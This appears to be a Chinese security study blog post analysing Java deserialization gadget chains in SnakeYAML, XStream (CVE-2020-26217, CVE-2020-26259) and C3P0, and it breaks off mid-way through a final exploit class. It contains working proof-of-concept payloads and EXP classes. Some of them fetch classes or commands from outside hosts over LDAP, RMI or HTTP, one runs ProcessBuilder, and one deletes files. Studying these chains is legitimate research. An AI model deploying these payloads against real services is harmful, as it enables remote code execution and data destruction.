Java反序列化链子合集2

40 分钟

前言

之前的文章不让继续写了,开一篇新的继续记录自己的学习。

Snakeyaml

SnakeYAML 是一个 Java 中的 YAML 解析器和生成器库。YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化格式,经常用于配置文件和数据交换,它提供了一组简单易用的 API,用于读取和写入 YAML 格式的数据。它可以将 YAML 数据解析为 Java 对象的层次结构,并且可以将 Java 对象序列化为 YAML 格式。SnakeYAML 支持很多 YAML 特性。

yaml主要分为三种数据类型:

  1. 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
  2. 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
  3. 纯量(scalars):单个的、不可再分的值

因为Sankeyaml能够通过Tag标签自定义类名称,并且在反序列化过程中会调用类中的set()方法,导致了反序列化触发RCE的漏洞,这有点与fastsjon的反序列化漏洞相类似,但是官方并不承认这是一种漏洞,它认为这是属于这个库功能的正常行为之一,下面有分析下Sankeyaml的反序列化链子的触发过程。

JdbcImpl链子

前面fastjsonJdbcRowImpl的链子这样同样可以使用,调用setDataSourcesetAutoCommit控制lookup接口的值接入触发RCE,利用这条链子简单分析下SankeYaml触发反序列化的流程。

payload如下,通过!!定义一个完整路径的类作为Tag,然后跟上两个键值对:

    public static void main(String[] args){
        String poc="!!com.sun.rowset.JdbcRowSetImpl {dataSourceName:  ldap://120.79.29.170:1389/Basic/Command/Base64/Y2FsYw==, autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }

  1. 首先进入load()方法中会进入到loadFromReader()方法中,传入的参数为一个Object对象和新创建的StreamReader()方法的结果。

file

  1. 进入到StreamReder()方法中,它其实就是返回了一个新的对象,上面标记了payload的长度length,以及赋上了marknext等值,应该是为了方便后面的处理

file

  1. loadFromReader()方法中,创建了一个Composer对象,然后调用了setSingleData()方法

file

  1. ParseImpl()构造方法中,调用了ScannerImpl()的构造方法,赋上了一些值,应该也做上一些标记和配置,解析Yaml的数据流

file

  1. 关键在于通过调用构造器方法进入了getSingleData()中,在这个方法中会调用getSingleNode()解析并创建一个节点,这个节点中会有我们自定义的Tag标签和里面的键值对key-velue以及一些解析的标记等等,经过判断Tag标签是否为空以及根Tag是否不会空为进入了constructDocument方法。

file

  1. 通过constructDocument方法构造解析节点的信息,里面会尝试将node节点调用constructObject方法将节点解析为Java的Object对象

file

  1. 它是如何转换为Java对象的呢,它先判断当前属性中是否存在与当前节点对应的Java对象,如果存在则返回该对象,如果不存在则调用constructObjectNoCheck方法创建。

file

  1. constructObjectNoCheck方法中,判断当前节点是否无法构造后,如果可以,则将它添加到recursiveObjects中便于后面递归调用,然后调用getConstruct()方法获取节点的构造器,从constructedObjects是否存在节点构造的Java对象,如果不存在,调用constructor.construct构造节点。
  2. construct()方法中继续调用getConstruct获取到节点构造器后,进入Construct()方法中进行构造

file

  1. 将节点强制转换为MappingNode后,判断节点的类型是否属于Map、Collection类型,这里显然都不是,就会调用newInstance()方法实例化node节点为JdbcRowSetImpl对象,随后进入判断当前节点需要两步构造,不需要则进入constructJavaBean2ndStep方法,需要则直接返回对象。

file

  1. 最终在constructJavaBean2ndStep方法中,经过一堆对ScalarNode的操作后,会来到property.set()方法中

file

  1. property.set()方法中传入了JdbcRowSetImpl对象,判断是否可写,可写则会调用getWriteMethod().invoke(object, value)触发JdbcRowSetImpl中的方法,这里是setDataSourceName

file

  1. 然后就会继续迭代循环,继续同样的方法取出里面payload中的key值,经过property.set()后变成了setautocommit(),最终触发setautocommit()导致了JNDI注入。

总的来说,SankeYaml的反序列化漏洞就是会将自定义的Tag实例化为对象后,又会依旧调用里面的key中的set方法,将value作为参数传入,导致了危险。

ScriptEngineManager

关于SPI机制,SPI(Service Provider Interface)机制是Java提供的一种服务扩展机制。它允许在不修改源代码的情况下,通过配置文件的方式替换或增加某个接口的实现类,它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。

下面来简单分析以下使用ScriptEngineManager的SPI机制导致的反序列化漏洞。

    public static void main(String[] args){
        //String poc="!!com.sun.rowset.JdbcRowSetImpl {dataSourceName:  ldap://120.79.29.170:8080/KnsGKbzJ, autoCommit: true}";
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

  1. 前面与JdbcImpl链并没上面两样,一直都会来到construct方法中,这里的Node节点是SequenceNode

file

  1. 随后会来到getClassForNode方法中,从方法名就可以看出是从节点中获取Class对象,首先获取的肯定是我们的Tag标签的值。

file

  1. 通过反射的方式动态加载Tag标签指向的类,也就是ScriptEngineManager

file

  1. 继续下一步会来到getConstruct方法中,通过调用construct方法来进行构造。

file

  1. 来到construct方法里面,在进行了Set、Collection、Array等一系列判断之后,将构造器赋值到了一个构造器列表当中,然后将获取到的possibleConstructors获取到的第一个数组进行赋值并转换成Constructor类型,再遍历snode的值,逐个动态加载后面的ClassLoader、URL类后,最终进行实例化

file

file

  1. 至于ScriptEngineManager的实例化,会先进入到构造方法中,将loader赋值为我们的URLloader,随后进入初始化,进行了一系列的赋值,进入到了initEngines()方法中

file

  1. 当它来到itr.next(),会进入next()方法,随后进入到nextService里面

file

  1. nextService方法里面,会对SPI的接口进行动态的记载,并把URLClassloder作为参数传入

file

  1. 最终会实例化接口的实现类,导致了恶意类的命令执行

file

  1. 这里一共会走两次实例化,第一次实例化的是NashornScriptEngineFactory,第二次实例化才是POC的类,第一次进入会将service中的类信息找到,赋值返回。

file

Xstream反序列化

  1. XStream是一个Java库,用于在Java对象和XML之间进行序列化和反序列化操作。它可以将Java对象转换为可读的XML格式,并将XML格式的数据转换回Java对象。
  2. Xstream主要分为四个编码策略:

    1. marshall : object->xml 编码
    2. unmarshall : xml-> object 解码
    3. 树编组程序(TreeMarshaller)
    4. Convert转换器和Mapping,将XML转换成Java对象。
  3. 下面拿CVE-2020-26217的官方payload进行简单分析,如下:
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>
简单理解下这个payload,一个map集合中,存在键值对,其中key和jdk.nashorn.internal.objects.NativeString,entry的value为test,NativeString里面又存在flags属性和value属性分别为0和Base64Data,而这两个可以看作是jdk.nashorn.internal.objects.NativeString的子元素,以此类推。
  1. 下面我们简单分析一下poc的解析流程和造成代码的原因:

    1. 首先程序会进入unmarshal方法,将xml语句进行Object的解码,传入的参数是通过Reader流对象,读出了xml的内容

    file

    1. 随后判断是否初始化了安全框架或黑名单,没有则输出不安全的语句,但是并不是终止程序执行。
      file
    2. 进入start方法,应该是开始进行树的编组,HierarchicalStreams提供了一种基于流的API,用于遍历和操作这些XML流数据。它可以用于查找、遍历和更改XML数据,支持编写自定义读写器,并提供一些实用方法,例如读取属性和子元素值等。这里通过HierarchicalStreams获取到了XML的类类型的Map类。随后会进入到Convert转换方法中
      file
    3. 寻找到对应的转换器类型,Map对象对应的是MapConvert转换器

    file

    1. 经过了一系列的convert后,进入到MapConvert中的unmarshal方法,实例化了一个Map对象,调用了populateMap将xml实例化为一个Map对象

    file

  2. 这里会将Entry放入到Map中,然后读出key和value,即NativeStringtest放入到HashMap中。
    file

    1. 因为put进入HashMap中,要算计算hash,所以会调用NativeString#HashCode()方法,会调用到NativeString#getStringValue()获取值,会调用get()方法去获取值
      file
    2. get()方法中,执行了getDataSource()获取Base64DatadataHandler的值,也就是poc中的XMLMessage$XmlDataSource,随后就会执行getInputStream()方法,获取到这里的is为SequenceInputStream,里面嵌套了poc中的iterator
      file
    3. 下一步进入SequenceInputStream#readFrom方法中,调用read()方法读取字节流,对字节数组进行了一些异常的判断(空指针,索引超出等),进入到了nextStream方法中
      file
    4. nextStream()方法会循环遍历iterator迭代器的值,将key和value取出来。
      file

    file

    1. 然后就会调用ServiceRegistry类的advance()方法来注册服务,如果iter迭代器下一个节点不为空则进入循环,循环中将下一个节点获取出来,即这里事先构造好的ProcessBuilder,而filter则为ImageIO$ContainsFilter,进入到ImageIO$ContainsFilter#filter中。
      file
    2. 最终在filter方法中,来到了触发方法method.invoke(),触发方法ProcessBuilder.start(),执行command中的内容。
      file
  3. 也就是整条链是因为xml中的内容被恶意控制,当Xstream处理反序列化的时候构造了包含恶意对象类的FilterIterator,在遍历迭代器的键值的时候,最终通过ImageIO$ContainsFilter#filter()中的method.invoke()触发恶意类的调用。关键的一步是target.put()方法中计算HashCode,如果有其它的类能够也触发类似的循环,也可以用。
  4. 另一个payload任意文件删除则是在close控制了值,使得任意文件删除
import com.thoughtworks.xstream.XStream;

/*
CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host
when unmarshalling as long as the executing process has sufficient rights.

https://x-stream.github.io/CVE-2020-26259.html

Security framework of XStream not explicitly initialized, using predefined black list on your own risk.
 */

public class CVE_2020_26259 {
    public static void main(String[] args) {
        String xml_poc = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
                "              <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +
                "            </is>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";

        XStream xstream = new XStream();
        xstream.fromXML(xml_poc);
    }

}
  1. 唯一不同的是就是这里的控制是控制了close()方法,使得进入了ReadAllStream#close()方法中,直接执行了文件的删除
    file

file
更多漏洞的poc参考:Xstream-Security

C3P0链子简单分析

Java C3P0 是一个开源的 JDBC 连接池库,用于管理和提供数据库连接。它是对标准的 Java 数据库连接池(如 Apache Commons DBCP、HikariCP)的一个替代方案。

利用方式

  • URLClassLoader
  • JNDI
  • Hex序列化字节加载器

URLClassLoader

使用ysoserial 中的C3P0 链中的代码来对整个漏洞触发流程进行简单的分析。

测试代码如下:

package ysoserial.payloads;

import java.io.*;

public class C3P0Test {
    public  static void main(String[] args) throws Exception {
        C3P0 c3P0=new C3P0();
        Object object=c3P0.getObject("http://127.0.0.1:8080/:Gtkrsjvp");
        serialize(object,"c3p0.ser");
        unserialize("c3p0.ser");

    }
    public static void serialize(Object obj,String path) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream(path));
        outputStream.writeObject(obj);
    }
    public static void unserialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(path));
        objectInputStream.readObject();
    }
}
  1. 进入到getObject方法中,看一下整个方法的代码在干些什么

        public Object getObject ( String command ) throws Exception {
            int sep = command.lastIndexOf(':');
            if ( sep < 0 ) {
                throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
            }
    
            String url = command.substring(0, sep);
            String className = command.substring(sep + 1);
    
            PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
            Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
            return b;
        }
    传入的参数是URL的值,计算出最后一个:的索引位置,随后将url类命提取出来分别赋值,最后调用映射创建了一个PoolBackedDataSource类,并将 connectionPoolDataSource成员变量设置为PoolSource新值,相当于提供了新的连接池,然后将PoolBackedDataSourceBase对象返回。
  2. serialize序列化的时候,会触发writeObject方法,进入PoolBackedDataSourceBase类中的writeObject里面,
    private void writeObject(ObjectOutputStream oos) throws IOException {
        oos.writeShort(1);

        ReferenceIndirector indirector;
        try {
            SerializableUtils.toByteArray(this.connectionPoolDataSource); //转换报错,进入到catch方法中
            oos.writeObject(this.connectionPoolDataSource);
        } catch (NotSerializableException var9) {
            MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);

            try {
                indirector = new ReferenceIndirector();
                oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
            } catch (IOException var7) {
                throw var7;
            } catch (Exception var8) {
                throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + var8.toString());
            }
        }

        oos.writeObject(this.dataSourceName);
在尝试使用SerializableUtilsPoolSource转换成字节数组的时候,因为PoolSource没有继承序列化的接口,因此无法进行序列化,所以进入到catch方法中,接而新创建ReferenceIndirector对象,调用它的indirectForm方法并将返回值写入对象。
  1. indirectForm方法中,它利用this.connectionPoolDataSource类获取到一个Reference,并赋值给了var2 然后传递进去 ReferenceIndirector.ReferenceSerialized
    public IndirectlySerialized indirectForm(Object var1) throws Exception {
        Reference var2 = ((Referenceable)var1).getReference();
        return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
    }
  1. ReferenceSerialized方法中,会初始化了四个值,分别是this.connectionPoolDataSource的引用和3个NULL,返回就将ReferenceIndirector写入了进去,因此最终写入到文件中的是一个this.connectionPoolDataSource获取到的引用

            ReferenceSerialized(Reference var1, Name var2, Name var3, Hashtable var4) {
                this.reference = var1;
                this.name = var2;
                this.contextName = var3;
                this.env = var4;
            }
  2. 触发反序列化的readObject方法中

        private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
            short version = ois.readShort();
            switch(version) {
            case 1:
                Object o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }
    
                this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
                this.dataSourceName = (String)ois.readObject();
                o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }
    
                this.extensions = (Map)o;
                this.factoryClassLocation = (String)ois.readObject();
                this.identityToken = (String)ois.readObject();
                this.numHelperThreads = ois.readInt();
                this.pcs = new PropertyChangeSupport(this);
                this.vcs = new VetoableChangeSupport(this);
                return;
            default:
                throw new IOException("Unsupported Serialized Version: " + version);
            }
        }
    从读取流中读取出对象,判断对象是否属于IndirectlySerialized类,因为ReferenceSerialized继承于IndirectlySerialized,所以会进入在第一个getObject方法中,
  3. ReferenceSerialized.getObject方法,主要是用于创建一个上下文,并调用ReferenceableUtils.referenceToObject将引用变成一个对象,传入的参数为this.connectionPoolDataSource的引用

            public Object getObject() throws ClassNotFoundException, IOException {
                try {
                    InitialContext var1;
                    if (this.env == null) {
                        var1 = new InitialContext();
                    } else {
                        var1 = new InitialContext(this.env);
                    }
    
                    Context var2 = null;
                    if (this.contextName != null) {
                        var2 = (Context)var1.lookup(this.contextName);
                    }
    
                    return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
  1. ReferenceableUtils.referenceToObject正是漏洞的触发点,

    public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
        try {
            String var4 = var0.getFactoryClassName();//获取到URL中的类名称
            String var11 = var0.getFactoryClassLocation(); //获取到URL
            ClassLoader var6 = Thread.currentThread().getContextClassLoader();//从上下文获取类加载器
            if (var6 == null) {
                var6 = ReferenceableUtils.class.getClassLoader();
            }
    
            Object var7;
            if (var11 == null) {
                var7 = var6;
            } else {
                URL var8 = new URL(var11);//使用定义的URL的值创建一个URL类
                var7 = new URLClassLoader(new URL[]{var8}, var6);//创建URL类加载器
            }
    
            Class var12 = Class.forName(var4, true, (ClassLoader)var7);//使用URL类加载器尝试加载恶意类,自动调用恶意类中的静态方法,触发漏洞,关键是控制var4和var7两个参数的值。
            ObjectFactory var9 = (ObjectFactory)var12.newInstance();//将加载到的类实例化
            return var9.getObjectInstance(var0, var1, var2, var3);
        } catch (Exception var10) {
            if (logger.isLoggable(MLevel.FINE)) {
                logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
            }

整个Gadget链子就为:

PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
ObjectFactory#getObjectInstance

完整的EXP如下:

package com.example.xstreamdemo;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0URLClassLoader {
    public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("exploit","Gtkrsjvp","http://127.0.0.1:8080/");
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        C3P0 c3P0=new C3P0();
        PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public
        Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSource.setAccessible(true);
        connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);
        serialize(poolBackedDataSourceBase,"c3p0.ser");
        unserialize("c3p0.ser");

    }
    public static void serialize(Object obj,String path) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream(path));
        outputStream.writeObject(obj);
    }
    public static void unserialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(path));
        objectInputStream.readObject();
    }

}

JNDI

Fastjson反序列化漏洞通过也会联合起C3P0链来进行漏洞触发,在CTF中出现过很多次,其中lookup接口导致了JNDI注入是一种方式。Fastjson在反序列化的时候,可以自动调用所有的set方法和部分特殊的get方法,因此在C3P0 中也存在这样的恶意方法,导致了漏洞的触发。

  1. JndiRefForwardingDataSource#dereference中,会看到存在调用lookup的代码,此处的jndiName是从JndiRefDataSourceBase#jndiName处得到,而JndiRefDataSourceBase#setJndiName可以控制这个jndiName

     private DataSource dereference() throws SQLException
       {
    Object jndiName = this.getJndiName();
    Hashtable jndiEnv = this.getJndiEnv();
    try
        {
       InitialContext ctx;
       if (jndiEnv != null)
           ctx = new InitialContext( jndiEnv );
       else
           ctx = new InitialContext();
       if (jndiName instanceof String)
           return (DataSource) ctx.lookup( (String) jndiName );
       else if (jndiName instanceof Name)
           return (DataSource) ctx.lookup( (Name) jndiName );
       else
           throw new SQLException("Could not find ConnectionPoolDataSource with " +
                   "JNDI name: " + jndiName);
        }
  2. 往上找会发现只有一个JndiRefForwardingDataSource#inner()调用了dereference
private synchronized DataSource inner() throws SQLException
    {
    if (cachedInner != null)
        return cachedInner;
    else
        {
        DataSource out = dereference();
        if (this.isCaching())
            cachedInner = out;
        return out;
        }
    }
  1. 继续向上走,会发现有两处地方调用了inner,分别是setLogWriter()setLoginTimeout,但是可以看到setLogWriter()参数是一个PrintWriter类,不好处理,而setLoginTimeout是一个int数,容易处理,因此可以使用setLoginTimeout完成整条链的触发。

    在这里插入图片描述

整条链子如下:

JndiRefForwardingDataSource#setJndiName->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

最终的EXP为:

package com.example.xstreamdemo;

import com.alibaba.fastjson.JSON;

public class C3P0Jndi {
    public static void main(String[] args){
        String text="{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"rmi://127.0.0.1:8080/Gtkrsjvp\", \"loginTimeout\":0}";
        JSON.parseObject(text);
    }
}

Hex序列化字节(二次反序列化)

二次反序列化在绕过黑名单的限制或不出网利用中有着举足轻重的作用,特别是在CTF的一些题目中,绕过黑名单的过滤十分关键,而在C3P0中,就存在一条链,能够通过传入HexCode来达到二次反序列化的效果,简单分析如下:

  1. 在WrapperConnectionPoolDataSource类存在setUpPropertyListeners会调用parseUserOverridesAsString 方法用于解析这些连接池配置选项,并将其转换为字符串形式,以便在连接池的配置过程中使用。

    private void setUpPropertyListeners()
        {
        VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener()
            {
            // always called within synchronized mutators of the parent class... needn't explicitly sync here
            public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException
            {
                String propName = evt.getPropertyName();
                Object val = evt.getNewValue();
    
                if ( "connectionTesterClassName".equals( propName ) )
                {
                    try
                    { recreateConnectionTester( (String) val ); }
                    catch ( Exception e )
                    {
                        //e.printStackTrace();
                        if ( logger.isLoggable( MLevel.WARNING ) )
                        logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );
                        
                        throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
                    }
                }
                else if ("userOverridesAsString".equals( propName ))
                {
                    try
                    { WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
                    catch (Exception e)
                    {
                        if ( logger.isLoggable( MLevel.WARNING ) )
                        logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );
                        
                        throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
                    }
                }
            }
            };
  1. 跟进这个方法,发现它对传入的字符串,将HASM_HEADERuserOverridesAsString最后一位截取掉,然后将十六进制转换成字节数组,再强制转换成Map的形式。

        private final static String HASM_HEADER = "HexAsciiSerializedMap";
        public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
        { 
        if (userOverridesAsString != null)
            {
            String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
            byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
            return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
            }
        else
            return Collections.EMPTY_MAP;
        }
  2. 跟进fromByteArray方法,它将字节数组反序列化了。

        public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
            Object var1 = deserializeFromByteArray(var0);
            return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
        }
  1. 跟进deserializeFromByteArray,发现这个方法中能够读取输入流,然后进行readObject触发反序列化(虽然方法显示已弃用),也就是说我们可以通过C3P0链走到这里,传入一个其它链子的Hex来触发二次的反序列化。

        /** @deprecated */
        public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
            ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
            return var1.readObject();
        }
  2. 那么怎么才能调用setUpPropertyListeners()方法呢,在父类的setUserOverridesAsString方法中,可以对userOverridesAsString赋值

        public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
        {
            String oldVal = this.userOverridesAsString;
            if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
                vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
            this.userOverridesAsString = userOverridesAsString;
        }
        
  1. 而里面的vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );会根据给定的属性名称、旧值和新值触发属性更改事件,进而触发setUpPropertyListeners方法,完成整条链子。

整个Gadget如下:

WrapperConnectionPoolDataSourceBase#setUserOverridesAsString->
WrapperConnectionPoolDataSource#setUpPropertyListeners->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray->
readObject

比如使用CC3链子,EXP如下:

package com.example.xstreamdemo;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class C3P0CC3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //AnnotationInvocationHandler.readObject()->TransformedMap.checkSetValue()->ChainedTransformer.transform()->InvokerTransformer.transformer()->TemplatesImpl.newTransformer()->defineClass.newInstance()
        TemplatesImpl templates=new TemplatesImpl();
        Class templatesClass=TemplatesImpl.class;
        Field _name=templatesClass.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"aiwin");
        Field _class=templatesClass.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(templates,null);
        Field _bytecodes=templatesClass.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test1.class"));
        byte[][] codes={code};
        _bytecodes.set(templates,codes);
        Field _tfactory=templatesClass.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
        org.apache.commons.collections.Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","aiwin");
        TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
        Class AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object result=constructor.newInstance(Target.class,transformedMap);
        String hex=byteArrayToHexString(serialize(result));
        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);

    }
    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream outputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(outputStream);
        objectOutputStream.writeObject(object);
        return outputStream.toByteArray();
    }
    public static String byteArrayToHexString(byte[] byteArray) {
        StringBuilder sb = new StringBuilder();

        for (byte b : byteArray) {
            sb.append(String.format("%02X", b));
        }

        return sb.toString();
    }

}
上面的思路很显然能够作为fastjson除去bcel链子之后的一种不出网的利用思路

假如C3P0链子没有fastjson可利用,然后又不出网的情况下,还可以使用一些其它的链子,在这篇文章中Java反序列化合集1提到过JDK高版本绕过的时候有一条tomcat的链子,通过Class.forName动态加载BeanFactory 最终触发getObjectInstance方法中的method.invoke,前提是Tomcat的版本为8

引入依赖:

   <properties>
        <java.version>1.8</java.version>
        <tomcat.version>8.5.35</tomcat.version>
    </properties>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-el-api</artifactId>
            <version>8.5.35</version>
        </dependency>

EXP如下:

package com.example.xstreamdemo;


import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
